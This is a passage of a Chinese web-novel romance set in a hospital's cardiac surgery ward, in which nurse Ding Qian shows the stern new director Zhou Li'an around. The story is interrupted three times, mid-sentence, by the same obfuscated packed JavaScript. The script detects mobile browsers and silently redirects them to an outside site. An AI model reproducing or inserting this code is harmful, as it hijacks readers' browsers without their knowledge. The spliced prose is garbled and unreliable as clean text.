丁浅往脚后跟上贴了张创口贴，扭过头笑她：“人都没见过你怕什么，万一是个帅哥呢？” “帅哥顶什么用？我可是名花有主了。” 夏凝不是单身，男朋友是大学刚入校时帮她搬行李的年级学长。 用丁浅的话来说，两人相爱这么多年早已可以步入婚姻殿堂，只是夏凝还想多过两年单身生活，两人才一直没有考虑结婚。 “话说你们家淇哥不着急？” “急啊，他恨不得现在就拉我去民政局。”提到廖天淇，夏凝眼里愁云渐增，一副心事重重的样子。 “是你不想。” “也不是。就…就缺少点动力，动力你懂吗？”夏凝比划半天，发现无法解释清楚，只能摆摆手作罢。 丁浅换好衣服，照例先去护士台与夜班同事做好交接工作，等忙完又马不停蹄随早班医生一同过去查房。 等再回到护士台，夏凝已经站在一旁朝她各种挤眉弄眼。 “什么情况？”丁浅走过去，目光随着对方往大办公室看去。 “刚你不在，大主任已经进了办公室。”夏凝忍不住犯起花痴，“真的好帅啊！” 丁浅一副恨铁不成钢的表情，“你们家淇哥很差？” “不一样！”夏凝纠正：“廖天淇是痞帅，坏坏的那种。咱们大主任第一眼就给人不容置疑的威严感，怎么看怎么霸气。” “你刚刚可不是这么说的。” “女人嘛，善变是常有的事。” 话刚说完，办公室的门被人打开。 一位身材比例极好的男人率先走了出来。 “周主任这边请。”紧跟着是护士长苏棠的声音。 夏凝连忙拱了拱丁浅的胳膊，示意她赶紧放下手里的工作。 “这几位是咱们今天白班的当班护士。”苏棠一边领着人往前走一边点丁浅的名字，“小丁，你过来。” “嗳，来了。”丁浅这才放下手头工作抬起头。 丁浅：“……” 怎么是他？ 料她再怎么觉得凑巧也没想到，一直谣传的大主任居然会是他！ 没记错的话，他应该姓周，名叫周黎安。 “主任好。”脸上的情绪只停留不过一秒，丁浅便客气地同对方打起招呼。 她以为自己掩饰的足够深，殊不知一切微小动作还是没能逃过周黎安的眼睛。 尤其刚刚对视时的那一秒错愕，当真不是演的。 “你好。”周黎安面上没什么情绪，神态依旧淡漠。 “小丁是我一手带出来的，后来被分到急诊科，如今我特意找刘院长把她调过来，希望能帮助周主任尽快熟悉咱们医院的各项工作。” “谢谢。”周黎安客客气气地点头称谢，之后便随着苏棠一块进了病房。 昨天刚收进一位上了年纪的病人，偏偏不愿动手术，苏棠想着正好让周黎安过去做做思想工作。 人一走，夏凝再次挤到丁浅面前。 “怎么样怎么样，是不是超有魅力？” 丁浅强撑的意志力在这一刻全然崩塌，她可没有忘记，自己在上海是怎么诋毁人家的。 “越是有魅力越难伺候，好好工作吧！”丁浅拍了拍夏凝的肩膀，先一步回到台前。 “也是。” 相安无事了一上午，临近饭点，护士长再次把丁浅喊到跟前。 “待会你跟周主任一块去食堂，吃完带他去各科走一圈。虽说会议上都做过介绍，流程还得过一遍。” “知道了，护士长。” 从办公室出来，丁浅犹豫半天，最终伸手去敲隔壁主任办公室的房门。 心外科主任有相对独立的大办公室，丁浅跟几位主任的关系都还不错，此刻听到里面应答声，她突然有些怯步。 “小丁来啦，护士长又给你派什么活了？”说话的正是心外科副主任宋秦朗。 宋秦朗一贯随和，爱笑也爱和人开玩笑，丁浅一直无法把他跟心外科主任联系到一块。 “周主任，护士长让我带您去食堂吃饭。”丁浅朝宋秦朗点点头，随后看向后方办公桌。 周黎安正低头看着资料，听见说话声似乎有些意想不到。 “还早，待会我去找你。”他敷衍一声，再次回到面前的资料上。 “本来是我要带周主任过去，临时加了台手术，待会只能辛苦小丁你了。”宋秦朗歉意一笑。 宋秦朗越是这般客气，越是能突出身后那位的性格，尤其自己主动过来请，周黎安居然还摆什么架子。 明知是在刻意刁难，丁浅也不敢贸然露出把柄。 她丢下一句“你们先忙”，转头将门给关上。 门里，无人察觉的地方，周黎安嘴角微微扬起，似乎在考验她的忍耐力到底还剩多少。 过了十二点，除了几位点外卖的护士，就只有丁浅还没吃午饭。 早上那点儿食物早在十点过去一半就消化完了，此刻肚子正无声和她提出抗议。 丁浅本想去更衣室补充点能量，转念又担心周黎安好巧不巧经过，就这么一直纠结到现在。 “小丁？”周黎安从办公室出来，老远朝护士台这边呼了一声。 “来了。”丁浅将手头的工作转交给夏凝，小跑过去。 周黎安已经脱了白大褂，此刻正插着口袋站在走廊尽头。 从前倒没有觉得白色衬衫和黑色西装裤的杀伤力有多强，如今见他这么穿，顿时有种不好惹的错觉。 丁浅微微错愕，走近才发现自己还没有换衣服。 “不好意思周主任，我衣服没来得及换。” “嗯。” 得到首肯，丁浅快速回了更衣室。 不敢有任何怠慢，丁浅快速收拾好，拿着饭卡手机赶紧折返出来。 穿的还是早晨那一套西装面料的短袖套裙，只是把一直用夹子固定的长发松开，随意挽了个丸子。 丁浅没考虑太多，眼下走近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375764|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才突然想到一个词—— 适配度。 她这一身算是典型的轻熟女打扮，走在路上也是寻常姑娘会穿的风格。可若是旁边站着的是位成熟男人，自然而然就会给人一种故意制造话题的假象。 周黎安在等，丁浅没理由再浪费时间，硬着头皮走了过去。 “走吧，周主任。” 过了饭点，电梯间几乎没什么人。 电梯到达时丁浅率先退让到一边，将位置空出来示意周黎安先进。 匀速下降的过程中，谁都没有主动开口。 周黎安看着站在自己身前的姑娘，目光从她的后脑勺逐渐转移到前方的电梯门上。 银灰色的不锈钢梯门多少有些反光，此刻映着前方姑娘的面容，紧张感显而易见。 不用刻意低头他便能精准捕捉到这一切，反而丁浅看到梯门上他的神色，下意识低下了头。 叮！ 电梯到达一楼，丁浅暗自松了口气。 刚刚，她不过就是随意打量，居然也能跟他投过来的视线撞到一块。 丁浅最不擅长与人对视，尤其对方还是跟她有过过节的男医生。 内心的心虚已经到达顶峰，她生怕一个不留意对方就会想起什么。 “周主任，前面就到食堂了，咱们职工就餐一般在二楼。” “嗯。”周黎安依旧这般，没有主动开口询问的迹象。 电梯里丁浅可以保持沉默，但出了病区，她必须得维持好自己的身份。否则就这么不尴不尬的走去食堂，搞不好会被外人误以为他们是在相亲。 在医院相亲…… 好像挺有话题。 “咱们医院的区域划分其实做的挺简单，A楼主要是门诊和病区；B楼在咱们背面，是急诊和一些检验科；C楼在左边，是儿科病区以及眼科美容整形科——” 丁浅在前头滔滔不绝地做着介绍，完全没有留意身后周黎安眼里的情绪。 “等等。”周黎安不适时打断：“护士长是要你来做向导？” “不…不是。” “既然不是，为什么不挑重点说？还是…你觉得我连最基本的中文字都不认识。” “我——” 丁浅反应慢了一拍，周黎安已经先一步走到了前头。 一路无言，甚至要比在电梯里还要令人尴尬。 直到进了食堂，丁浅咬咬牙再次走上前，对着比自己高出一大截的男人，询问道：“周主任，您想吃点什么？” “盒饭就行。” “阿姨，打一份两荤两素。”丁浅连忙走到窗口去和打菜阿姨交涉。 没一会儿，阿姨将周黎安的那份端了出来。 “就坐这边？”丁浅指着前面的空位，正要帮忙将餐盘端过去，周黎安先一步从她手上接走了。 “谢谢。” 手上顿时落空，丁浅赶紧回头去打自己那份。 本打算找个其他的空位坐过去，担心回头周黎安在护士长面前告黑状，丁浅万分不情愿，还是乖乖坐到了他的对面。 说是坐在一张桌子，但丁浅避嫌，只将餐盘放在他斜对面的位置。 “丁…”周黎安喊了一半，突然想起自己并不知道丁浅的全名。 “丁浅。周主任，我叫丁浅。丁香花的丁，浅色的浅。” 周黎安点点头，“丁浅。” “嗯？” 以为做过自我介绍就可以低头进食，冷不丁听到自己的名字从他嘴里冒出来，顿时有种上课开小差被老师点名的压迫感。 “周主任，刚刚我是怕您觉得无聊所以随便说了一些，待会吃完我仔细给您介绍各科室的工作情况。” 以为周黎安是在为之前的行为感到不满，殊不知对方从她坐下开始，就一直盯着她的餐盘，眼神根本没有离开过。 “就吃这些？” “啊？”随着他探过来的目光，丁浅低头去看自己餐盘里的几样菜。 上汤西兰花炒木耳，黄瓜炒鸡蛋，半份火腿炒饭。 “饿过头一般就没什么胃口。”说完丁浅自顾低下头开始吃饭。 察觉对面没有一丁点儿声响，丁浅这才想起，自己这话大概是在含沙射影，暗地指责他的不是。 “周主任，我不是那个意思，我——” “食不言寝不语，吃饭！” 5. 005 丁浅被人挑剔饮食早已不是一天两天，江洛就时常拿往事戳她痛处，好让她改过自新。 到最后非但不见成效，反而比之前有过之而不及。 之后，江洛再也不敢在她面前胡乱打趣。 初中那会，丁浅一直被张初华照顾的很好，皮肤白，眼睛大，就连视力都还算不错。 以至于她一进高中，身边立马就出现一批又一批的追求者。 十五六岁的男孩，胆子比谁都大。 一帮男生成帮结队堵在她上下学的必经之路，然后推出其中某一位去给她塞情书，会在她参加体育考试时公然围观吆喝。 甚至，当丁浅被音乐老师选中去参加校园歌手大赛，还有不少追随者跟着一块报名。 这其中，就有顾西沉。 顾西沉长得帅，个子高身材匀称，不是那种风一刮就倒的体态。 在所有男生都视丁浅为白月光的时候，顾西沉毫无疑问，就是女生们心目中的完美校草。 他爱唱歌会打篮球，学习成绩优异，甚至写的一手好字。 这样多才多艺的男生，参加歌唱比赛本身就没什么可质疑的，直到有人爆出他参加比赛是为了一位女生。 没有人知道是谁。 得奖那天，他们俩被一众校领导拥着，拍了张大合影。 人声鼎沸的大舞台上，彩带从头顶洒下，纷纷扬扬好看极了。顾西沉就是在此时趁人不备，伸手勾住丁浅背在身子后的那只小手。 情窦初开的年纪，谁会拒绝一个万里挑一的好学生？ 两人秘密谈起了恋爱，神不知鬼不觉谈了三年。 在那个看一眼都会被人怀疑的年纪，胆大的顾西沉早已给丁浅许诺好了未来。 “高考我们一块去上海好不好？我们做乐坛第一对真情侣组合，怎么样？” “好啊！” “那可说好了啊，万事都不能改变主意。” …… 时光像是一张老旧照片，清楚记载着过去所发生的一切。 泛黄的相纸上，身影依旧清晰，就连当初决然分手时，顾西沉开口说的那段话，都清清楚楚印在丁浅脑海里。 一刻也不曾散去。 “浅浅，你一定会为今天的决定后悔！” 高考过后，顾西沉去了上海，往后几年再无任何消息，丁浅却因此严重焦虑，吃不下饭已是常态。 一年前她的状况彻底好转，因为顾西沉成了炙手可热的歌坛新星。 / 午饭过后，丁浅领着周黎安去各科室转悠。 不用再费尽心思的和他搭话，丁浅乐得轻松，站在一旁时不时听上几句，遇上需要她回答的，才主动开口。 来到妇产科，碍于这边主任与庞燕是夫妻，丁浅不自觉多说了两句。 “这边科室的张春生张主任，是我们急诊护士长老公。” 周黎安微微点了下头，算是知晓。 “这位就是心外科的周主任吧？”张春生刚从病房出来，正好迎面碰上。 作为医院唯一迎接新生命的科室，妇产科相比其他科室更显温情，就连主任都是一等一的好脾气。 “周黎安。”周黎安主动伸手，与对方打招呼。 本就是走个过场，聊了几句客套话周黎安便准备前往其他科室。 “下次见，张主任。”丁浅挥挥手，正要领着周黎安去下一个科室。 好巧不巧，等电梯的时候遇上了齐阳。 “师兄！”丁浅看到来人，笑着打了声招呼。 “今天怎么有空来妇产科？”齐阳下午有台手术，正在等旁边的专用电梯。 “带周主任熟悉科室呢。”她连忙退到旁边，指着面无表情的周黎安，介绍道：“心外科刚来的周主任，这位是妇产科的实习医生齐阳。” “周主任你好！” “你好！”周黎安颔首。 此时，前往手术室的专用电梯到了，齐阳先一步跨进电梯间。 趁着门还没合上，他对站在门外的丁浅挥手说道：“浅浅，有空一块吃饭。” 丁浅全程均以微笑应对，并没有开口承诺一句。 电梯上去，周黎安这才扫了一眼身边默不作声的姑娘。 “一个学校毕业的？” “嗯，他是我大学师兄，也是张主任的徒弟。” “妇产科男医生挺吃香。”周黎安没头没脑说了一句。 丁浅颇为赞同，想到当初齐阳夸下的雄心大志，她忍不住，笑说：“师兄曾经就跟我们说过，在妇产科绝对不用担心被人排挤。” 大半天下来，这还是周黎安听到的第一句玩笑。 看着身旁明显放松戒备的姑娘，周黎安不置可否，扯唇说了句：“名字也挺符合科室文化。” 一语双关，丁浅没忍住直觉得好笑。 举动落在周黎安眼里，他忽而想起早晨她那不怀好意的笑容。 如今细看，自发觉得眼前的姑娘大概是没什么心眼的性格。 笑容结束，丁浅后知后觉想起身边还有人在。 目光突然对上，她看到镜片后那双深沉且有些耐人寻味意的眸子。 瞳色发暗，目光深邃，投过来的眼神分明是在研究什么。 若非那嘴里刚刚接了句玩笑话，丁浅定是要把他跟诡计多端的狐狸联系到一块。 仅仅维持一秒，丁浅先一步收回视线，同时清了清嗓子。 电梯下来，一波人从里面出来，丁浅跟在周黎安身后进了电梯。 里面还有旁人，两人并没有再做交谈。 回到心外科，丁浅今天的任务也到此结束，她朝走在前面的周黎安打了声招呼，打算回护士台。 “丁浅？” 丁浅刚刚转身，听见周黎安的声音又折了回来。 恰逢周黎安也将身子转了过来，两人目光不期而遇再次撞上。 这一次，丁浅仍旧选择回避。 “周主任，您还有事吗？”她问。 “你是不是怕我？” “没……没有啊。”丁浅心虚，生怕他接下来要提在上海呛他那一出。 “没有？”周黎安挑眉，沉思片刻才问：“那我跟你说话你连头都不敢抬？” 这话放在任何一位示爱者嘴里，绝对有增加暧昧氛围的嫌隙，可周黎安并不是她的意中人，这种情况只会加剧她心里的慌张。 燥热难捱的季节，丁浅却觉得周身寒意阵阵。 皮肤莫名爬起一道又一道的小山丘，莫名而来的小山丘又以迅雷之势将她埋在心里的慌张透了出来，最终她脸色通红。 “破皮得涂碘伏，创口贴没用！”周黎安到底没有戳破真相，他扫一眼她的脚后跟，转头消失在拐角。 丁浅整个如同被什么给定住，脑海里反反复复都是他不动声色的那张脸。 平静，淡然，莫名叫人心口一紧。 早上那辆上海牌照的奥迪…… 是他的！ 丁浅从没觉得自己什么时候丢过人，今日却被自以为是的心虚弄得满面通红。 原来，她在旁人眼里竟然成了一出好戏。 / 周黎安回来立马投入工作，根本没有时间考虑住房问题。 接连两晚没有睡好，他这才把心思放到这件事上。 周四一大早，宋秦朗刚到，周黎安就将他喊住，询问起周边住房问题。 “宋主任，咱们医院附近有没有清净一点的小区？” 宋秦朗刚到，眼瞧着周黎安脸色并不太好，关切问：“怎么，昨晚没睡好？” “酒店隔音太差。” “酒店？”宋秦朗感到诧异，他一直以为周黎安是苏城人，所以才会重新调回来。 “你不是苏城人？”他问。 “祖辈是。”周黎安揉着太阳穴，解释道：“老房子在郊区，上下班不方便。” “这样啊……”宋秦朗琢磨一句，“那这事你还得问小丁，她之前为了找房子可没少费功夫！” “行，我知道了。” 周黎安把这事记下，趁着饭点将人叫住。 “小丁，跟我一块去吃饭。” “哦，来了。” 经过昨天一整天的接触，丁浅也算明白周黎安直接了当的说话方式，她和夏凝知会一声正打算换了衣服过去。 昨天之前，还有护士调侃丁浅这工作不错，有帅哥看，有知识学，甚至工作都可以随时推给别人。 直到今天上午，众人一致变了口风。 仅仅一个上午，丁浅从换好衣服开始就没少被“折磨”。 周黎安这人要求高，做事严谨，但凡出了一点瑕疵都要追究，一帮护士听着走廊里不算太大的训斥声，简直都替丁浅心疼。 眼下又听到周黎安喊她陪同过去吃饭，几位护士都替丁浅着急，生怕这毫无人情味的周主任会利用饭桌上的一点时间，对她进行另一番人身攻击。 “听不下去就多吃两口。”夏凝给她支招。 “知道。”丁浅点点头，带着众人的好意赶紧去了更衣室。 “好点了？”路上，周黎安不经意问。 “哦……好了。”丁浅盯着自己穿着球鞋的鞋面，心里大呼不适应。 前脚谈工作后脚论生活，打个巴掌给个枣的速度都没他快，周黎安是怎么做到喜怒完全切换自如的？ 丁浅百思不得其解，好在她今天没穿什么凉鞋，不然以他那眼神，恐怕心里不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375765|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知怎么想。 有了昨天吃饭时的那一幕，今天她完全遵守他“食不言”的要求，吃饭过程一直保持沉默。 吃到一半，遇上沈佳。 “小丁！”沈佳端着餐盘过来，看到对面坐着周黎安一时不知是不是该走。 “周主任，请问我能不能坐这里？” “无妨。”周黎安将餐盘推到旁边，让出一整张空位。 这么一让，他自然而然坐到了丁浅正对面。 “怎么又吃这些？”沈佳看着丁浅盘子里一层不变的几样蔬菜，忍不住唠叨。 这话刚刚说完，周黎安居然也高深莫测地看了过来。 “我妈…最近给我补的太厉害，白天吃不下太多。”她借口否认。 “你就糊弄人吧。”有外人在，沈佳没有往深了去说，她不经意用膝盖碰了碰丁浅，暗示她回头交代清楚。 丁浅当然知道什么意思，索性回撞过去…… 却撞到了不该撞的人。 “丁浅，方向是不是偏了？”周黎安放下筷子，一本正经说道。 “啊？” “你们慢吃。”周黎安端着餐盘先一步起身，完全无视丁浅脸颊爬起的绯红。 “噗……”看着丁浅脸上红一阵白一阵，沈佳没忍住闷头直笑。 “这位主任惹不起，我先走了。”丁浅顾不上吃没吃饱，端上餐盘随后一同消失在食堂。 “那个……对不起啊周主任，我不知道是您。”走出食堂，丁浅才追上对方的脚步。 “问你个问题。”周黎安及时刹住，转头去看险些撞到他怀里的年轻姑娘。 对方有着一双招人喜欢的大眼睛，皮肤白，模样周正，貌看起来是位文文静静的好姑娘，只有他知道这些都是假象。 在那双似若桃花的大眼睛里，分明藏着潜在的小心机。 她的心术不够端正，刚刚就可以说明。 “您说。” “宋主任说你了解周边住房？” “是……是的。” “较为清净的小区有哪些，做一下推荐。” 丁浅千算万算没算到周黎安会问这么八杆子打不到一块的问题，何况她本身已经做好被批的准备，结果…… 那句话怎么说来着？ ‘你永远不知道意外和惊喜哪个会先到’，丁浅此刻大概就是这么个心理。 “如果您打算买房又不考虑价格的话，江南华府最好。如果仅仅是租房，那么玉兰苑、还有天润华庭，金湖嘉园都还不错。” “认识的中介有没有？” “有的。”丁浅一边掏出手机一边解释：“之前我打算租房的时候，这个中介前前后后被我折腾了好久，还算靠谱。” “号码给我。”周黎安伸手，问她要人号码。 丁浅刚想说要不微信推送过去，转念一想，这不是摆明了跟周主任要联系方式？ 她这么个勤勤恳恳的小护士，怎么能做让人误会的事情？ 思绪没经大脑停留，丁浅快速做出回应，她毫不犹豫打开通讯录，亲自报出对方的联系方式。 “您记一下啊，中介的号码是138XXXXXXXX。” 黝黑的眼神投了过来，丁浅陡然觉得眼前好像飘来一片黑云。 她抬起头，果真镜片后的那双眼睛里写着不悦。 周黎安并没有照做。 “你是不用微信？” “……用啊。” 她打开手机正要询问对方怎么添加，周黎安的手机先一步响了。 系统铃声，沉闷厚重，跟他给人的感觉一样，没有什么惊喜之处。 “还没完了？下周再说。”只说了一句，电话就被挂断。 丁浅不自觉吞了吞口水，这要是谁做了他女朋友，往后日子可真不好过。 “快点。”周黎安黑着脸打开二维码，明显有几分不耐烦。 中午那一点儿好感又荡然无存。 添加成功，丁浅打开那个和医院宣传栏差不多的半身头像，将中介的微信推送过去。 手心震动一声，周黎安看到一个紫色龇着白牙的卡通头像出现在列表最上方。 这个卡通人物他有点印象。 之前出差堂妹让他帮忙带过系列盲盒，至于叫什么他给忘了。 “您记得压压价，他们做这一行都只赚不亏。” “你还懂这个？” 丁浅摇摇头，“我妈妈跟他谈的价格。” 周黎安看了一眼，将手机放进外衣口袋。 回心外科的路上，丁浅微信响个不停。 担心有急事，她退后一步边走边看消息： 【浅浅，顾西沉要回苏城开演唱会，这事你知不知道？】 6. 006 是江洛的微信消息。 丁浅：【不知道。】 下一秒，电话进来。 丁浅秒接。 “也不一定是真的。”她低声否定。 “那如果是真的，你去不去？”电话里，江洛沉默几秒，突然问道。 此时已经走到电梯间，周黎安率先一步按了“上”键。 “上班呢，迟点说。”丁浅不习惯在外人面前讲电话，尤其牵扯私事。 “别别别……最后一句。”江洛略显急躁，声音不自觉提高了些。 “哪天有空？” “我妈妈还没走，下周五吧，下班我来找你。” 虽说看不清身后的状况，但那异常柔和的声线周黎安听得清清楚楚。 进了电梯，丁浅低头盯着微信莫名出神。 周黎安站在她身后，余光经过，正巧看到一行没有回复的微信消息。 他没有窥探别人隐私的意思，下一秒就将目光收回。 只是这心里，对她的看法又增加了一层。 大概是没经父母同意谈的男朋友，是这个年纪会做的出来的事情。 / 周五。 两天磨合下来，苏棠没听周黎安说过哪里不满，反而从一帮护士嘴里得知丁浅被骂得不轻。 趁着查房刚刚结束，她跟着几位主任一块进了办公室。 “周主任，小丁有没有给你带来什么麻烦？”苏棠表面在笑，心里其实拿不准周黎安的想法。 对方要说不行，她还真不知道上哪去找个既听话又忍得了被训的护士。 “总体还行。”周黎安简单开口。 苏棠悬着的心这才彻底放下，她面带微笑再次询问：“既然周主任觉得还行，那下个月小丁的排班就跟着你一道走？” “可以。” 得到答复，苏棠又与其他主任说了几句转头离开了办公室。 临近中午，丁浅将周黎安的饭卡送到对方办公室，恰巧宋秦朗也在。 “周主任，您的饭卡下来了。” “谢谢。”周黎安伸手接过，随意放在一边。 看出丁浅的心思，加上这几天小姑娘战战兢兢的表现，宋秦朗果断开口替她问道：“这饭卡有了，可不能再折磨我们小丁了吧？” “我折磨你了？”周黎安脸上挂着淡到几乎察觉不出的笑容，一双眼如猎鹰般深邃。 “没有没有，宋主任开玩笑呢。”丁浅没敢真当，只抿着唇说这是份内事。 “听你们宋主任的。” “谢谢周主任。”丁浅想了想，又看着似笑非笑的宋秦朗，“也……谢谢宋主任。” 丁浅笑着看了一眼宋秦朗，似若桃花的双眼分明在表达感谢。 人一离开，周黎安反而有话要说。 “我有这么吓人？” “不是吓人。”宋秦朗感叹道：“是人姑娘性子软。” 周黎安反复琢磨半天，最终摇摇头，不敢苟同。 / 不用再跟精益求精的男人一同吃饭，丁浅连去食堂的兴致都没了，她点了份外卖，边守着护士台边等自己的午饭。 夏凝推了推她的胳膊，一脸疑惑：“今天周主任放你假了？” “我把饭卡送过去了。” “可以啊，我们小丁终于开始对恶势力说不了。” 丁浅不以为然，看着时间还有十来分钟，忍不住按了按肚子。 “身体不舒服？” “生理期好像要来了。” “那你偷偷回更衣室趴会，外卖到了我叫你。” 除了吃饭上厕所等一些必要事情，公然离开护士台不合规矩，丁浅摇摇头表示自己可以。 到了傍晚，痛感增加。 丁浅从柜子里翻出暖宝宝贴上，又拿着热水袋去开水房，好巧不巧遇上周黎安。 “周主任。”她低低唤了一声，将热水袋藏在身后。 周黎安刚从楼上开会回来，见她脸色苍白免不了关心一下，“不舒服？” “没……没有。” 她的表情实在牵强，周黎安一眼看穿却没有过多询问，目光从她脸上收回，沉声吩咐：“晚上加班。” “哦，好。”近期都要和周黎安搭班，丁浅没有犹豫立马应下。 周黎安说完径直进了办公室，丁浅捂着隐隐作痛的小腹赶紧去灌热水。 捂了老半天又接连喝了几杯热水，她才彻底活了过来，这一折腾已经过了饭点。 丁浅回更衣室吃了两片面包，打算撑一撑回家再吃。 就在她吃完走出更衣室的时候，晚班护士正在护士台找她。 “小丁，快点过来。” “怎么了？” 丁浅走过去，发现护士台边放着两只保温袋，袋子上印着马路对面早餐店的名字，她一头雾水，完全不知何意。 “周主任今天加班，说请大家吃夜宵。”一位护士已经跃跃欲试，伸手去解保温袋。 里面东西挺多，大家一致觉得应该先给请客的人送一份过去。 这么推来推去，任务自然而然落到丁浅身上。 谁让她是接受周黎安言语攻击最多的人呢。 “我各拿一份，剩下你们解决了。”丁浅挑了盒米糕，一份蒸饺，另外还有一瓶热牛奶。 “你呢，小丁你吃什么？”她正要走，其中一位护士连忙将她拉住。 丁浅原本就没什么胃口，碍于不吃会造成误会，这才从里面挑了瓶热豆浆敷衍众人。 “回去还要吃夜宵，喝瓶豆浆就行。” 众人见她坚持，也就不再强求。 晚上加班的主任只有周黎安一人，见门开着，丁浅敲了敲门站在门口并没有着急进去。 “进。” “周主任，这是给您的。”将冒着热气的打包盒放下，丁浅转身要走。 周黎安正在噼里啪啦敲着电脑，余光瞥到餐盒这才停手，他拿过手机打开看了一眼，随后抬头朝丁浅看了过来。 “我不用，请你们吃的。”他说。 丁浅没多想，把护士们的话原封不动告知：“大家都觉得不好意思，让我送一份给您。” 周黎安点点头，“嗯，让大家不用客气。” “哦，好。” “丁浅？” “嗳！” 丁浅前脚已经跨出办公室，周黎安后脚又将她叫回来。 “您说。” 周黎安沉默片刻，拿起一盒米糕递过去，“拿走。” “不不不，我拿了豆浆吃不下。” “一瓶豆浆就够了？”想到吃午饭时旁边那位护士的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375766|168329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调侃，周黎安直接皱眉。 他这番不经意流露的表情完全被丁浅误解，年轻的姑娘以为自己的拒绝让人难堪，磨蹭半天最终走了过来。 “谢谢周主任。”丁浅双手接过，连头都没抬。 “我至于让你这么紧张？”周黎安话锋一转，突然对此产生好奇。 他承认自己严厉要求高，可也不至于让人产生害怕的情绪，尤其……尤其她又不是没跟自己杠过。 “您是主任，想着小心点好。” “说来说去还是那么个意思。”周黎安一语道破，藏在镜片后的那双眼早已洞察一切。 丁浅抿着唇不说话，长长的睫毛下那双眼滴溜溜到处转，反正就是不看他一眼。 周黎安猜得到她心里正在想些什么，于是伸手叩了两下台面，毫不留情戳穿这一切，“你的班次跟着我走，多吃点，别撑不住反过来让我被人指责！” 从办公室出来，丁浅看着怀里的米糕，毫无胃口。 老干部发言，果真没有含蓄这么一说。 联想刚刚办公桌后毫无人情味可言的那张脸，丁浅摇摇头，把“温柔”二字从脑海里撇除。 周主任要是变温柔了，心外科的大门恐怕都得被人踏破！ / 八点一过，走廊里逐渐热闹起来。 护士们叽叽喳喳的说话声吵得周黎安脑壳疼，他关了电脑收拾东西准备下班。 走出大楼，不远处丁浅正与同事说着话。 不知说到什么，几位姑娘同时发出银铃般的笑声，这其中要数丁浅的声音更加突出。 她本身说话的腔调就和她的外表一样，柔和温软，不急不躁，娓娓道来的说话声吴侬软语，不显娇柔做作，反而骨子里透着柔情的味道。 丁浅今日骑了电动车过来，为此特意没穿裙子。 和同事分开之后她去车库取车，再之后将耳机从包里翻出来。 玉兰苑距离医院不远，这一条路过了下班几乎没有巡警值班，丁浅索性没戴头盔。 盛夏时节，轿车在阳光下烘烤了一天，到了夜晚所有堵在车内的闷气随着车门被打开，一股脑儿往外涌。 接连打了两个喷嚏之后，周黎安果断降下车窗。 热气闯进，像奔腾而过的洪水，过往之处不留任何余地。 周黎安看着红灯上不断跳动的数字，视线随之落下。 旁边的的非机动车道上，有一姑娘在唱歌。 听不太清，只知道声线细腻。 周黎安无意瞥去一眼，这才发现唱歌的姑娘正是白天事事紧张的小护士。 夜晚的马路上人烟稀少，她将双腿笔直撑在车身两侧，旁若无人，忘我投入。 身上那件宽松版型的大T恤随着风，将她的腰勾勒出纤细的身型，超短裤下腿部线条匀称白皙，她肩上斜挎着一只纯咖色帆布包。 包身朝后，一眼就能注意到拉链上一只紫色玩偶。 绿灯起，周黎安收回视线，脚踩油门，车身从她旁边越过。 后视镜里，那姑娘头发散开，稚嫩的五官被耳机罩着，俏皮鲜嫩。 周黎安知道丁浅是个不太安分的姑娘，他想过她叛逆反骨，或许还带点儿鬼马精灵的潜质，但万万想不到她如此张扬奔放。 莫名的，与他的生活截然相反。 7. 007 周黎安出生医学世家。 祖辈三代都是医生，到了他这里，依旧延续家族传统，选择从医。 大四那年，父母援藏双双身亡，他一度自暴自弃，后来硬是让周家老爷子给劝回正道。 如今老爷子过世，至亲只剩奶奶和姑姑，他才下定决心回到这里。 周黎安从不觉得自己的生活枯燥乏味，他热爱工作，也勤勤恳恳在医学道路上奉献了整个青春。 而立之年后，他依旧全身心投入工作，眼里根本没有其他心思。 且不说没有，就是有，以他的性格，大抵也长久不了。 他一直对自己有着深刻的认知。 路上那一眼并没有成为他驻足的风景，反而一阵唏嘘之后，周黎安开始将丁浅列入不爱遵守交通规则，想在交警眼皮底下“为非作歹”的队伍当中。 回到酒店，隔壁依旧住着那几位叽叽喳喳爱吵爱闹的姑娘。 年轻的女大学生趁着假期过来旅游，晚出晚归，不到深更半夜绝不关灯休息。 今天回来的晚，恰巧隔壁房门开着。 三四个女生正打着牌，热火朝天完全没有章法。 周黎安眉头皱成一团，进了房间立马将电话拨到前台要求调换房间。 协调好之后，他快速收拾东西，与那群格格不入的女学生彻底划清界限。 睡眠得到保证，周黎安想到了另外一件事。 他将阅读灯打开，随后给丁浅推送过来的中介发了条消息。 中介姓樊，没出一分钟便拨了语音过来，还真印证了丁浅那句话，‘他们只赚不亏’。 